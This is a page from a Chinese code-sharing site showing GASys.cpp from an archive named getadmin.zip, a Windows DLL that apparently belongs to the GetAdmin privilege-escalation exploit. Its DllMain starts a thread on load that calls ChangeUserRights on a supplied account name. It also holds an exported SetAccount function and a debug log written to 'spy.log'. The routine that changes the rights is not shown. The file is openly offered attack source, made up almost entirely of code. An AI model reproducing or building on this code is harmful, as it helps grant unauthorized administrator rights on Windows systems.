GASys.cpp
资源名称:getadmin.zip [点击查看]
上传用户:yihongxs01
上传日期:2007-01-05
资源大小:48k
文件大小:1k
源码类别:
系统/网络安全
开发平台:
WINDOWS
- #include <windows.h>
- HWND hWnd;
- HANDLE LogFile;
- HANDLE Thread;
- HANDLE hMod;
- char Account[255] = "";
- extern "C"
- __declspec(dllexport) void SetAccount(char* Account)
- {
- strcpy(::Account,Account);
- }
- int ChangeUserRights(char *Account);
- void LogA(LPSTR str)
- {
- #ifdef _DEBUG
- DWORD done;
- LogFile = CreateFile("c:\spy.log",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
- SetFilePointer(
- LogFile,
- GetFileSize(LogFile,0),
- 0,
- FILE_BEGIN
- );
- WriteFile(LogFile,str,strlen(str),&done,0);
- CloseHandle(LogFile);
- #endif
- }
- DWORD WINAPI ThreadFunc(LPVOID lpThreadParameter)
- {
- ChangeUserRights(Account);
- return 0;
- }
- BOOL WINAPI DllMain(HANDLE hInst,ULONG ul_reason_for_call,LPVOID lpReserved)
- {
- DWORD id;
- switch(ul_reason_for_call){
- case DLL_THREAD_ATTACH:
- break;
- case DLL_PROCESS_ATTACH:
- Thread = CreateThread(0,0,ThreadFunc,0,0,&id);
- hMod = hInst;
- break;
- case DLL_PROCESS_DETACH:
- if( WaitForSingleObject(Thread,3000) == WAIT_TIMEOUT)
- TerminateThread(Thread,(DWORD)-1);
- break;
- default: break;
- }
- return TRUE;
- }